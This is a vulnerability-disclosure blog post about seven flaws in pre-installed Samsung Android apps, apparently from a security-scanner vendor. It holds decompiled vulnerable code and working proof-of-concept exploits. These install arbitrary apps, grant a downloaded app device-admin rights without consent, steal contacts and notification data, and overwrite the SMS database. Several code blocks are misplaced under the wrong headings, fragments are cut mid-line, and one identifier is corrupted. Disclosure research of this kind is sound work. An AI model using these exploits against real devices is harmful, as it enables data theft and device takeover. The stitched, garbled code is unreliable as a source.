

10 JUNE 2021

# Two weeks of securing Samsung devices: Part 1

After spending two weeks looking for security bugs in the pre-installed apps on Samsung devices, we were able to find multiple dangerous vulnerabilities. In this blog, we will be going over them.

The impact of these bugs could have allowed an attacker to access and edit the victim's contacts, calls, SMS/MMS, install arbitrary apps with device administrator rights, or read and write arbitrary files on behalf of a system user which could change the device's settings.

These vulnerabilities could have led to a GDPR violation, and we are delighted that we could help Samsung identify and fix these vulnerabilities in a timely manner.

Vulnerability table:

CVE	SVE	AFFECTED APP	DESCRIPTION	REWARD AMOUNT
CVE-2021-25388	SVE-2021-20636	Knox Core (com.samsung.android.knox.containercore)	Installation of arbitrary apps and device-wide theft of arbitrary files	\$1720
CVE-2021-25356	SVE-2021-20733	Managed Provisioning (com.android.managedprovisioning)	Installing third-party apps and granting them Device Admin permissions	\$7000
CVE-2021-25391	SVE-2021-20500	Secure Folder (com.samsung.knox.securefolder)	Gaining access to arbitrary* content providers	\$1050
CVE-2021-25393	SVE-2021-20731	SecSettings (com.android.settings)	Gaining access to arbitrary* content providers leads to read/write access to arbitrary files as system user (UID 1000)	\$5460
CVE-2021-25392	SVE-2021-20690	Samsung DeX System UI (com.samsung.desktopsystemui)	Ability to steal notification policy configuration	\$330
CVE-2021-25397	SVE-2021-20716	TelephonyUI (com.samsung.android.app.telephonyui)	(Over-)writing arbitrary files as UID 1001	\$4850
CVE-2021-25390	SVE-2021-20724	PhotoTable (com.android.dreams.phototable)	Intent redirection leads to gaining access to arbitrary content providers	\$280

## The vulnerability in Knox Core

First, we scanned the Knox Core app and discovered that an app was installed from the SD card:

Possibility to install third-party applications

Found in file  
com/samsung/android/knox/containercore/provisioning/DualDARInitService.java

[Mark as a false positive](#) [Collapse](#) [🔗](#)

```

199         if (android.text.TextUtils.isEmpty(string2)) {
200             notifyMPErrors(5);
201         } else if (string2.startsWith("file://")) {
202             java.lang.String str = getExternalFilesDir(null) + "/client_downloaded_knox_app.apk";
203             try {
204                 ((com.samsung.android.knox.SemRemoteContentManager) this.mContext.getSystemService("rcp")).copyF:
205                 installPackageTask(intent, string, str);
206             } catch (android.os.RemoteException unused) {
207                 com.samsung.android.knox.containercore.dualdar.DDLog.m1e("KNOXCORE::DualDARInitService", "copyFi
208                 notifyMPErrors(5);
209             }
210         } else if (string2.startsWith("https://")) {
211             downloadPackageTask(intent, string, string2);
212         } else {
213             notifyMPErrors(5);
214         }
215     } else {
216         com.samsung.android.knox.containercore.dualdar.DDLog.m0d("KNOXCORE::DualDARInitService", "Start proceedP
217         startRunnerTask(intent);
218     }
219 }
220 }
221
222 private void installPackageTask(android.content.Intent intent, java.lang.String str, java.lang.String str2) {
223     java.io.InputStream fileInputStream;
224     java.lang.Throwable th;
225     com.samsung.android.knox.containercore.dualdar.DDLog.m0d("KNOXCORE::DualDARInitService", "installPackageTask", m
226     if (android.text.TextUtils.isEmpty(str) || android.text.TextUtils.isEmpty(str2)) {
227         com.samsung.android.knox.containercore.dualdar.DDLog.m1e("KNOXCORE::DualDARInitService", "packageName = " +
228         notifyMPErrors(5);
229         return;
230     }
231     android.content.pm.PackageInstaller.SessionParams sessionParams = new android.content.pm.PackageInstaller.Session
232     sessionParams.installFlags |= 2;
233     java.io.File file = new java.io.File(str2);
234     android.content.pm.PackageInstaller packageInstaller = this.mContext.getPackageManager().getPackageInstaller();
235     try {
236         int createSession = packageInstaller.createSession(sessionParams);
237         android.content.pm.PackageInstaller.Session openSession = packageInstaller.openSession(createSession);
238         try {
239             java.io.InputStream fileInputStream2 = new java.io.InputStream(file);
240             try {
241                 fileInputStream = fileInputStream2;
242                 try {
243                     java.io.OutputStream openWrite = openSession.openWrite(file.getName(), 0, -1);
244                     try {
245                         copyStream(fileInputStream, openWrite);
246                         if (openWrite != null) {
247                             openWrite.close();
248                         }

```

Found in file  
com/samsung/android/knox/containercore/provisioning/DualDARInitService.java

```

19         return com.samsung.android.knox.ddar.proxy.KnoxProxyManager.getInstance(context).relayMessage("SYSTEM_PROXY_AGENT"
20     }
21
22 private static void copyStream(java.io.InputStream inputStream, java.io.OutputStream outputStream) throws java.io.IOEx
23     byte[] bArr = new byte[16384];
24     while (true) {
25         int read = inputStream.read(bArr);
26         if (read != -1) {
27             outputStream.write(bArr, 0, read);
28         } else {
29             return;
30         }

```

It also turned out that this functionality is activated via the exported service

com.samsung.android.knox.containercore.provisioning.DualDARInitService :

```
<service android:name="com.samsung.android.knox.containercore.provisioning.DualDARInitService" an
    .
    .
    .
```

An attacker could pass an arbitrary URI via the `dualdar-config-client-location` parameter, which will be copied to

`/sdcard/Android/data/com.samsung.android.knox.containercore/files/client_downloaded_knox_app.apk`, which is a world-readable location.

After that, the app installation process will be launched:

```
private void proceedPrerequisiteForDualDARWithWPCOD(Intent intent) {
    if (intent.getBooleanExtra("DUAL_DAR_IS_WPCOD", false)) {
        int intExtra = intent.getIntExtra("android.intent.extra.user_handle", UserHandle.myUserId());
        Bundle bundleExtra = intent.getBundleExtra("DUAL_DAR_PARAMS");
        String string = bundleExtra.getString("dualdar-config-client-package", null);
        if (!TextUtils.isEmpty(string)) {
            DDLog.m4d("KNOXCORE::DualDARInitService", "Start proceedPrerequisiteForDualDARWithWPCOD");
            String string2 = bundleExtra.getString("dualdar-config-client-location"); // attacker-
            DDLog.m4d("KNOXCORE::DualDARInitService", "DualDARPolicy.KEY_CONFIG_CLIENT_LOCATION = " + string2);
            if (TextUtils.isEmpty(string2)) {
                notifyMPEError(5);
            } else if (string2.startsWith("file://")) {
                String str = getExternalFilesDir(null) + "/client_downloaded_knox_app.apk";
                try {
                    // attacker-controlled file is copied to the public location
                    ((SemRemoteContentManager) this.mContext.getSystemService("rcp")).copyFile(intExtra, str); // and then installed
                } catch (RemoteException unused) {
                    DDLog.m3e("KNOXCORE::DualDARInitService", "copyFile failed.");
                    notifyMPEError(5);
                }
            } else if (string2.startsWith("https://")) {
                downloadPackageTask(intent, string, string2);
            } else {
                notifyMPEError(5);
            }
        } else {
            DDLog.m4d("KNOXCORE::DualDARInitService", "Start proceedPrerequisiteForDualDARWithWPCOD");
            startRunnerTask(intent);
        }
    }
}
```

## Proof of Concept for installing arbitrary apps

```
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    try {
        Bundle bundle = new Bundle();
        bundle.putString("dualdar-config-client-package", "test.exampleapp");
        bundle.putString("dualdar-config-client-location", Uri.fromFile(copyFile()).toString());

        Intent i = new Intent("com.samsung.android.knox.containercore.provisioning.DualDARInitService");
        i.setClassName("com.samsung.android.knox.containercore", "com.samsung.android.knox.containercore.DualDARService");
        i.putExtra("DualDARServiceEventFlag", 500);
        i.putExtra("DUAL_DAR_IS_WPCOD", true);
        i.putExtra("DUAL_DAR_PARAMS", bundle);
        startService(i);
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}

private File copyFile() throws Throwable {
    File file = new File(getApplicationInfo().dataDir, "app.apk");

    InputStream i = getAssets().open("app-release.apk");
    OutputStream o = new FileOutputStream(file);
    IOUtils.copy(i, o);
    i.close();
    o.close();
    return file;
}
```

```

super.onCreate(savedInstanceState);

startDump();

try {
    File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telep

    Bundle bundle = new Bundle();
    bundle.putString("dualdar-config-client-package", "test.exampleapp");
    bundle.putString("dualdar-config-client-location", Uri.fromFile(dbPath).toString());

    Intent i = new Intent("com.samsung.android.knox.containercore.provisioning.DualDARInitServ
    i.setClassName("com.samsung.android.knox.containercore", "com.samsung.android.knox.contain
    i.putExtra("DualDARServiceEventFlag", 500);
    i.putExtra("DUAL_DAR_IS_WPCOD", true);
    i.putExtra("DUAL_DAR_PARAMS", bundle);
    new Thread(() -> {
        for(int j = 1; j < 1000; j++) {
            startService(i);
            try {
                Thread.sleep(500);
            } catch (Throwable th) {
                throw new RuntimeException(th);
            }
        }
    }).start();
} catch (Throwable th) {
    throw new RuntimeException(th);
}

}

private void startDump() {
    final String path = "/sdcard/Android/data/com.samsung.android.knox.containercore/files/client_

    ContentValues values = new ContentValues();
    values.put("_data", path);
    Uri uri = getContentResolver().insert(MediaStore.Files.getContentUri("external"), values);

    new Thread(new Runnable() {
        public void run() {
            while (true) {
                try {
                    InputStream i = getContentResolver().openInputStream(uri);
                    String data = IOUtils.toString(i);
                    Log.d("evil", data);
                    i.close();
                } catch (Throwable th) {
                }
            }
        }
    }).start();
}

```



The PoC works as follows:

1. A service is launched to copy the required file to a public location (since this is an invalid APK file, it will be deleted immediately after an installation error),
2. Then, the `client_downloaded_knox_app.apk` file is read.

**Note:** We use `MediaStore.Files` because the latest Android versions do not allow direct reading from external storages belonging to other apps, but this can be bypassed using the Android Media Content Provider.

## The vulnerability in Managed Provisioning

Managed Provisioning is a pre-installed app on all Samsung devices and is used for corporate device customization.

Once again, while testing Managed Provisioning, we found a vulnerability on installing an app from a public directory:

Found in file  
com/android/managedprovisioning/task/DownloadPackageTask.java

Mark as a false positive

Expand



```

45         this.mReceiver = createDownloadReceiver;
46         this.mContext.registerReceiver(createDownloadReceiver, new android.content.IntentFilter("android.intent.action.DOWNLOAD_COMPLETE"));
47         android.app.DownloadManager.Request request = new android.app.DownloadManager.Request(android.net.Uri.parse(this.mIntent.getStringExtra("url")));
48         java.io.File file = new java.io.File(this.mContext.getExternalFilesDir(null) + "/download_cache/managed_provisioning/" + request.getPackageName());
49         file.getParentFile().mkdirs();
50         request.setDestinationUri(android.net.Uri.fromFile(file));
51         java.lang.String str = this.mPackageDownloadInfo.cookieHeader;
52         if (str != null) {

```

The original app was developed by AOSP and it had security checks to verify the authorization of any interactions. The Managed Provisioning app was modified by Samsung to add features which were needed to interact with their ecosystem and Knox Core.

Therefore, in the Samsung app, this check could be bypassed by setting the value

com.samsung.knox.container.requestId :

```

int intExtra = intent.getIntExtra("com.samsung.knox.container.requestId", -1);
if (intExtra > 0) {
    ProvisionLogger.logw("Skipping verifyActionAndCaller"); // the bypass
} else if (!verifyActionAndCaller(intent, str)) {
    return;
}

```

## Proof of Concept for installing custom apps and giving them Device Admin rights

This Proof of Concept was built by copying the code of the `ProvisioningParams.Builder` class and passing the standard parameters needed to configure Managed Provisioning, which included:

- the URL for downloading the app
- the SHA1 hash of the file
- the [Device Admin receiver](#) component name

```

byte[] hash = Base64.decode("5VNucGDQygiVg4S86BKhySEVJlOpDZs3YYsJKIotCQ", 0);
PackageDownloadInfo.Builder infoBuilder = PackageDownloadInfo.Builder.builder()
    .setLocation("https://redacted.s3.amazonaws.com/app-release.apk")
    .setPackageChecksum(hash)
    .setSignatureChecksum(hash);

ProvisioningParams.Builder builder = ProvisioningParams.Builder.builder()
    .setSkipUserConsent(true)
    .setDeviceAdminComponentName(new ComponentName("test.exampleapp", "test.exampleapp.MyReceiver"))
    .setDeviceAdminPackageName("test.exampleapp")
    .setProvisioningAction("android.app.action.PROVISION_MANAGED_DEVICE")
    .setDeviceAdminDownloadInfo(infoBuilder.build());

ProvisioningParams params = builder.build();

Intent i = new Intent("com.android.managedprovisioning.action.RESUME_PROVISIONING");
i.setClassName("com.android.managedprovisioning", "com.android.managedprovisioning.preprovisioning.PreprovisioningActivity");
i.putExtra("provisioningParams", params);
i.putExtra("com.samsung.knox.container.requestId", 1);
i.putExtra("com.samsung.knox.container.configType", "knox-do-basic");
startActivity(i);

```



After opening the app, this is what happened:

- Managed Provisioning was forced to download a malicious app from the attacker-specified link
- The malicious app installed in Step 1 was made a device administrator with an arbitrary set of rights
- A process was initiated which would remove all the other apps installed on the same device.

The attack looked like this:

0:00 / 0:32



## The vulnerability in Secure Folder

Secure Folder is a secure file storage app which is pre-installed on Samsung devices. It has a large set of rights that an attacker could intercept by exploiting the vulnerability found in accessing [arbitrary\\* content](#)

Found in file `AndroidManifest.xml`☐ Mark as a false positive[Collapse](#)

```
197 <activity android:name="com.samsung.knox.securefolder.containeragent.ui.settings.KnoxSettingCheckLockTypeActivity"
```

Found in file  
`com/samsung/knox/securefolder/containeragent/ui/settings/KnoxSettingCheckLockTypeActivity.java`

```
35     setResult(-1, getIntent());
36 } else {
37     android.util.Log.d(TAG, "KnoxSettingCheckLockTypeActivity onActivityResult send result canceled.");
38     setResult(0, getIntent());
39 }
40 finish();
41 }
```

### Possibility of access to arbitrary\* content providers

Found in file `AndroidManifest.xml`☐ Mark as a false positive[Collapse](#)

```
197 <activity android:name="com.samsung.knox.securefolder.containeragent.ui.settings.KnoxSettingCheckLockTypeActivity"
```

Found in file  
`com/samsung/knox/securefolder/containeragent/ui/settings/KnoxSettingCheckLockTypeActivity.java`

```
21     return;
22 }
23 android.util.Log.d(TAG, "KnoxSettingCheckLockTypeActivity onCreate send intent back");
24 setResult(0, getIntent());
25 finish();
26 }
27 }
```

### Possibility of access to arbitrary\* content providers

Found in file `AndroidManifest.xml`☐ Mark as a false positive[Collapse](#)

```
197 <activity android:name="com.samsung.knox.securefolder.containeragent.ui.settings.KnoxSettingCheckLockTypeActivity"
```

Found in file  
`com/samsung/knox/securefolder/containeragent/ui/settings/KnoxSettingCheckLockTypeActivity.java`

```
32     android.util.Log.d(str, "KnoxSettingCheckLockTypeActivity onActivityResult Result code : " + i2 + ", Request code
33     if (i2 == -1 && i == 1033) {
34         android.util.Log.d(TAG, "KnoxSettingCheckLockTypeActivity onActivityResult send result OK.");
35         setResult(-1, getIntent());
36     } else {
37         android.util.Log.d(TAG, "KnoxSettingCheckLockTypeActivity onActivityResult send result canceled.");
38         setResult(0, getIntent());
```

Once an attacker receives the intent which was sent by them, they would be able to intercept the rights.

As a PoC, we intercepted the rights to read/write contacts:

```
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent();
    i.setClassName("com.samsung.knox.securefolder", "com.samsung.knox.securefolder.containeragent.
    i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
    i.setData(ContactsContract.RawContacts.CONTENT_URI);
    startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);
```

```

        for (int i = 0; i < cursor.getColumnCount(); i++) {
            if (sb.length() > 0) {
                sb.append(", ");
            }
            sb.append(cursor洗getColumnName(i) + " = " + cursor.getString(i));
        }
        Log.d("evil", sb.toString());
    }
    while (cursor.moveToNext());
}
}
}

```


## The vulnerability in SecSettings

SecSettings is Samsung's pre-installed settings app.

The vulnerability on reading and writing arbitrary files from UID 1000 ( `system` ) consists of two components:

- gaining access to arbitrary\* content providers
- exploiting an insecure FileProvider in the `com.sec.imsservice` app

**Insecure use of file paths in FileProvider**

Found in file `AndroidManifest.xml` Mark as a false positive Collapse 

```

508 <provider android:name="android.support.v4.content.FileProvider" android:exported="false" android:authorities="cc
509 <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/imfilepath"/>
510 </provider>

```

Found in file `xml/imfilepath.xml`

```

3 <root-path name="root" path="."/>

```

This chain is only possible because both apps use the same shared UID specified in their

`AndroidManifest.xml` : `android:sharedUserId="android.uid.system"` . In fact, this setting means that two different apps can share absolutely all resources and have full access to each other's components. The vulnerability in SecSettings is Google's. It was reported to the Android VDP. The reward is \$2000. We will disclose the details of this issue in the Part 2 article.

## The vulnerability in Samsung DeX System UI

This vulnerability allowed an attacker to steal data from user notifications, which would typically include chat descriptions for Telegram, Google Docs folders, Samsung Email and Gmail inboxes, and information from notifications of other apps.

The attacker could also activate the functionality to create a backup in the world-readable directory on the SD card:



Found in file **AndroidManifest.xml** Mark as a false positive[Collapse](#)

```

276     <receiver android:name="com.samsung.desktopsystemui.NotificationBackupRestoreManager$NotificationBnReceiver">
277         <intent-filter>
278             <action android:name="com.samsung.android.intent.action.REQUEST_BACKUP_NOTIFICATION"/>
279             <action android:name="com.samsung.android.intent.action.REQUEST_RESTORE_NOTIFICATION"/>
280         </intent-filter>
281     </receiver>

```

Found in file  
com/samsung/desktopsystemui/NotificationBackupRestoreManager.java

```

723     public java.lang.Thread mBackupThread;
724
725     @Override // android.content.BroadcastReceiver
726     public void onReceive(android.content.Context context, android.content.Intent intent) {
727         java.lang.String action = intent.getAction();
728         android.util.Log.d("NotifBnManager", "onReceive ( action = " + action + ")");
729         if (action != null) {
730             try {
731                 java.lang.String stringExtra = intent.getStringExtra("SAVE_PATH");
732                 java.lang.String stringExtra2 = intent.getStringExtra("SOURCE");
733                 java.lang.String stringExtra3 = intent.getStringExtra("SESSION_KEY");
734                 java.lang.String stringExtra4 = intent.getStringExtra("EXPORT_SESSION_TIME");
735                 int intExtra = intent.getIntExtra("ACTION", 0);
736                 int intExtra2 = intent.getIntExtra("SECURITY_LEVEL", 0);
737                 if (action.equals("com.samsung.android.intent.action.REQUEST_BACKUP_NOTIFICATION")) {
738                     if (intExtra != 2) {
739                         java.lang.Thread thread = new java.lang.Thread(new com.samsung.desktopsystemui.NotificationBn
740                             this.mBackupThread = thread;
741                             thread.start();
742                     } else if (this.mBackupThread != null && this.mBackupThread.isAlive()) {

```

Found in file  
com/samsung/desktopsystemui/NotificationBackupRestoreManager.java

```

30     }
31
32     @com.android.internal.annotations.VisibleForTesting
33     public void startBackup(android.content.Context context, java.lang.String str, java.lang.String str2, java.lang.String
34         java.lang.Exception e;
35         android.util.Log.d("NotifBnManager", "start backup basePath=" + str2 + " source=" + str3);
36         com.samsung.desktopsystemui.NotificationBackupRestoreManager.ERR_CODE err_code = com.samsung.desktopsystemui.Notif
37         java.lang.StringBuilder sb = new java.lang.StringBuilder();
38         sb.append(str2);
39         sb.append("/");
40         java.lang.String sb2 = sb.toString();
41         try {
42             streamCrypt(str5);
43             try {
44                 int createBackupFile = createBackupFile(sb2, 1);
45                 android.util.Log.d("NotifBnManager", "resultCode=" + createBackupFile);
46                 sendResponse(context, str, createBackupFile, createBackupFile == 1 ? com.samsung.desktopsystemui.Notificat
47             } catch (java.lang.Exception e2) {

```

Found in file  
com/samsung/desktopsystemui/NotificationBackupRestoreManager.java

```

613     }
614 }
615
616     private int createBackupFile(java.lang.String str, int i) {
617         android.util.Log.d("NotifBnManager", "create backup file basePath=" + str);
618         deleteFile(str + "notification_policy.xml");
619         return !createResultFile(str, i);
620     }
621
622     private void deleteFile(java.lang.String str) {

```

Found in file  
com/samsung/desktopsystemui/NotificationBackupRestoreManager.java

```

762     final /* synthetic */ int val$securityLevel;
763     final /* synthetic */ java.lang.String val$source;
764
765     RunnableC08161(com.samsung.desktopsystemui.NotificationBackupRestoreManager.NotificationBnReceiver notificat
766         this.val$context = context;
767         this.val$basePath = str;
768         this.val$source = str2;
769         this.val$securityLevel = i;

```

**Proof of Concept:**

```

Found in file
com.samsung.desktopsystemui/NotificationBackupRestoreManager.jav
a

final File root = Environment.getExternalStorageDirectory();
final File policyFile = new File(root, "notification_policy.xml");
final File backupCopy = new File(root, "backup");

Intent i = new Intent("com.samsung.android.intent.action.REQUEST_BACKUP_NOTIFICATION");
i.setClassName("com.samsung.desktopsystemui", "com.samsung.desktopsystemui.NotificationBackupRest
i.putExtra("SAVE_PATH", root.getAbsolutePath());
i.putExtra("SESSION_KEY", "not_empty");
sendBroadcast(i);

new Thread(() -> {
    while (true) {
        if(policyFile.exists()) {
            try {
                InputStream i = new FileInputStream(policyFile);
                OutputStream o = new FileOutputStream(backupCopy);
                IOUtils.copy(i, o);
                i.close();
                o.close();
            } catch (Throwable th) {
                throw new RuntimeException(th);
            }
        }
    }
}).start();

```

**The vulnerability in TelephonyUI**

The receiver `com.samsung.android.app.telephonyui.carrierui.photoring.model.PhotoringReceiver` is exported. It saves files from the URL specified in `photoring_uri` to the path specified in `down_file`. This was detected by the Oversecured Android scanner:

```

550         android.util.Log.e("NotifBnManager", "file delete!!!");
551         return z;
552     } catch (java.io.IOException e2) {
553         return false;
554     }
555 }
556
557
558
559 /* JADX WARNING: Removed duplicated region for block: B:25:0x006d A[SYNTHETIC, Splitter:B:25:0x006d] */
560 public static void copyBackupFile(java.lang.String str) {
561     byte[] bArr;
562     java.lang.Throwable th;
563     java.lang.Exception e;
564     android.util.Slog.d("NotifBnManager", "copyBackupFile path=" + str);
565     java.io.FileOutputStream fileOutputStream = null;
566     try {
567         bArr = android.app.INotificationManager.Stub.asInterface(android.os.ServiceManager.getService("notification")
568     } catch (java.lang.Exception e2) {
569         android.util.Slog.d("NotifBnManager", "copyBackupFile Failed");
570         e2.printStackTrace();
571         bArr = null;
572     }
573     try {
574         java.io.FileOutputStream fileOutputStream2 = new java.io.FileOutputStream(str);
575         if (bArr != null) {
576             try {
577                 fileOutputStream2.write(bArr);

```

Found in file **AndroidManifest.xml** Mark as a false positive Collapse

```

651     <receiver android:name="com.samsung.android.app.telephonyui.carrierui.photoring.model.LPhotoringReceiver" android:
652         <intent-filter>
653         <action android:name="com.samsung.android.app.telephonyui.action.DOWNLOAD_PHOTORING"/>
654     </intent-filter>
655 </receiver>

```

Found in file  
**com/samsung/android/app/telephonyui/carrierui/photoring/model/PhotoringReceiver.java**

```

2
3 public class PhotoringReceiver extends android.content.BroadcastReceiver {
4     @Override // android.content.BroadcastReceiver
5     public void onReceive(android.content.Context context, android.content.Intent intent) {
6         java.lang.String action = intent.getAction();
7         com.samsung.android.app.telephonyui.utils.p072d.L.m7878b("PhotoringReceiver", "onReceive : %s", action);
8         if (action != null) {
9             char c = 65535;
10            if (action.hashCode() == -1569942956 && action.equals("com.samsung.android.app.telephonyui.action.DOWNLOAD_PHC
11                c = 0;
12            }
13            if (c == 0) {
14                java.lang.String stringExtra = intent.getStringExtra("photoring_uri");
15                java.lang.String stringExtra2 = intent.getStringExtra("down_file");
16                com.samsung.android.app.telephonyui.utils.p072d.L.m7878b("PhotoringReceiver", "McidReceiver onReceive url
17                com.samsung.android.app.telephonyui.carrierui.photoring.model.PhotoringMgr.m4568b().f2851b = true;
18                com.samsung.android.app.telephonyui.carrierui.photoring.model.PhotoringMgr.m4568b().m4597d();
19                com.samsung.android.app.telephonyui.carrierui.photoring.model.PhotoringMgr.m4568b().m4588a(stringExtra, st
20            }
21        }
22    }

```

Found in file  
**com/samsung/android/app/telephonyui/carrierui/photoring/model/PhotoringMgr.java**

```

194     }
195
196     /* renamed from: a */
197     public void m4588a(java.lang.String str, java.lang.String str2) {
198         com.samsung.android.app.telephonyui.utils.p072d.L.m7878b("PhotoringMgr", "downloadContent", new java.lang.Object
199         com.samsung.android.app.telephonyui.carrierui.photoring.model.CallMessageNetwork aVar = this.f2850a;
200         if (aVar != null) {
201             aVar.m4412a(str, str2);
202         }
203     }
204

```

Found in file  
**com/samsung/android/app/telephonyui/carrierui/photoring/model/CallMessageNetwork.java**

```

306     }
307
308     /* renamed from: a */
309     public void m4412a(java.lang.String str, java.lang.String str2) {
310         m4418c();
311         com.samsung.android.app.telephonyui.carrierui.photoring.model.CallMessageNetwork.C2054a aVar = new com.samsung.ar
312         this.f2743c = aVar;
313         aVar.start();
314     }

```

Found in file  
**com/samsung/android/app/telephonyui/carrierui/photoring/model/CallMessageNetwork.java**

```

334     /* renamed from: b */
335     java.lang.String f2749b = null;
336
337     public C2054a(java.lang.String str, java.lang.String str2) {
338         this.f2748a = str;
339         this.f2749b = str2;
340     }
341
342     @Override // java.lang.Thread, java.lang.Runnable
343     public void run() {
344         java.util.LinkedHashMap linkedHashMap = new java.util.LinkedHashMap();
345         if (com.samsung.android.app.telephonyui.p002b.TuiImsFeature.INSTANCE.f203g) {
346             java.lang.StringBuilder sb = new java.lang.StringBuilder();
347             sb.append(this.f2748a);
348             sb.append("?");
349             com.samsung.android.app.telephonyui.carrierui.photoring.model.CallMessageNetwork aVar = com.samsung.andr

```

type in the response:

```
com.samsung.android.app.telephonyui.carrierui.photoring.model.p026a.HTTPRequestHelper.java
```

## Proof of Concept:

```
File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telephony",
Intent i = new Intent("com.samsung.android.app.telephonyui.action.DOWNLOAD_PHOTORING");
i.setClassName("com.samsung.android.app.telephonyui", "com.samsung.android.app.telephonyui.carrie
i.putExtra("photoring_uri", "https://redacted.s3.amazonaws.com/test.mp4");
i.putExtra("down_file", dbPath.getAbsolutePath());
sendBroadcast(i);
```

As a result, the file with SMS/MMS messages was overwritten with attacker-controlled content.

## The vulnerability in PhotoTable

In PhotoTable, we found **intent redirection**, which allowed access to content providers to be intercepted:

- Ability to start arbitrary components

Found in file **AndroidManifest.xml**

☐ Mark as a false positive

[Collapse](#)



```
25 <activity android:theme="@style/res_2131558669_theme_permission_activity" android:label="@string/app_name" android:
26 <intent-filter>
27 <action android:name="android.intent.action.MAIN"/>
28 </intent-filter>
29 </activity>
```

Found in file  
**com/android/dreams/phototable/PermissionsRequestActivity.java**

```
10 @Override // android.app.Activity
11 public void onCreate(android.os.Bundle bundle) {
12     super.onCreate(bundle);
13     android.os.Bundle extras = getIntent().getExtras();
14     this.mExtras = extras;
15     if (extras == null) {
16         finish();
17     } else {
18         this.mDreamPreviousIntent = (android.content.Intent) extras.get("previous_intent");
19     }
20 }
21
```

Found in file  
**com/android/dreams/phototable/PermissionsRequestActivity.java**

```
71 android.content.Intent intent = this.mDreamPreviousIntent;
72 if (intent != null) {
73     intent.addFlags(65536);
74     startActivity(this.mDreamPreviousIntent);
75 }
76 overridePendingTransition(0, 0);
77 }
303 bundle.putString("URL", this.f2785a);
304 bundle.putString("ReqType", this.f2787c.name());
306 if (httpResponse != null) {
```

We used this vulnerability to hijack the rights to access the SD card. Here is the **Proof of Concept:**

```
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    handle(getIntent());
}

protected void onNewIntent(Intent intent) {
    super.onNewIntent(intent);
    handle(intent);
}

private void handle(Intent intent) {
    if ("evil".equals(intent.getAction())) {
        String uri = MediaStore.Images.Media.insertImage(getContentResolver(),
            Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888),
            "Title_1337",
            "Description_1337");
        Log.d("evil", "Result: " + uri);
    }
}
```

tants.Request  
arser(this.f  
arser();  
.f2787c == c

```

        i.putExtra("previous_intent", next);
        i.putExtra("permission_list", new String[0]);
        startActivity(i);
    }
}

```

## Preventing these vulnerabilities

It could be challenging to keep track of security, especially in large projects. You can use Oversecured vulnerability scanner since it tracks all known security issues on Android and iOS including all the vectors mentioned above. To begin testing your apps, use [Quick Start](#), [book a call](#) or [contact us](#).

Found in file  
com/samsung/android/app/telephonyui/carrierui/photoring/model/p02  
6a/HTTPResponseParser.java

```

108         if (this.f2804i == null || (!this.f2800e.startsWith("video/") && !this.f2800e.startsWith("image/"))) {
109             this.f2801f = m4470a(content);
110         } else if (m4474f()) {
111             m4471a(content, this.f2804i);
112         } else {
113             content.close();
114             return 2;

```

Found in file  
com/samsung/android/app/telephonyui/carrierui/photoring/model/p02

```

28
29 public HTTPRequestHelper(android.os.Handler handler, com.samsung.android.app.telephonyui.carrierui.photoring.model.CarrierUIPhotoringModel model) {
30     this.f2786b = handler;
31     this.f2787c = requestType;
32     this.f2788d = str;
33     this.f2790f = thread;
34 }
35

```

Found in file  
com/samsung/android/app/telephonyui/carrierui/photoring/model/p02  
6a/HTTPResponseParser.java

```

151  /* JADX WARNING: Removed duplicated region for block: B:34:0x00a9 A[SYNTHETIC, Splitter:B:34:0x00a9] */
152  /* JADX WARNING: Removed duplicated region for block: B:41:0 A[RETURN, SYNTHETIC] */
153  /* renamed from: a */
154  private void m4471a(java.io.InputStream inputStream, java.lang.String str) {
155      java.lang.Throwable th;
156      java.io.IOException e;
157      com.samsung.android.app.telephonyui.utils.p072d.L.m7878b("HTTPResponse", "convertIsToFile %s", str);
158      if (str != null) {
159          java.io.File file = new java.io.File(new java.io.File(str).getParent());
160          if (!file.exists() && !file.mkdirs()) {
161              com.samsung.android.app.telephonyui.utils.p072d.L.m7878b("HTTPResponse", "Error with Make directory", new Throwable());
162          }
163          java.io.FileOutputStream fileOutputStream = null;
164          try {
165              java.io.FileOutputStream fileOutputStream2 = new java.io.FileOutputStream(str);
166              try {
167                  int i = this.f2790c;
168                  int min = java.lang.Math.min(4096, i);
169                  byte[] bArr = new byte[min];
170                  while (true) {
171                      int read = inputStream.read(bArr, 0, min);
172                      if (read > 0) {
173                          fileOutputStream2.write(bArr, 0, read);
174                          i -= read;
175                          min = java.lang.Math.min(4096, i);
176                      } else {

```